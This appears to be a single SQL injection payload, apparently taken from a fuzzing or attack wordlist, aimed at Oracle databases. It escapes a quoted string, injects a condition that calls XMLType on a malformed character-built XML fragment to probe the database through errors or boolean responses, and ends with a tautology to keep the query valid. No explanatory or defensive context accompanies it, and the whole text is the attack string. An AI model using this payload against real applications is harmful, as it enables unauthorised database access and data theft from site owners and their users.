\' anD (SELECT upper(XMLType(chr(60)||chr(27)||chr(62)||chr(60)||chr(47)||chr(27)||chr(62))) FROM dual) is not null anD \'1\'=\'1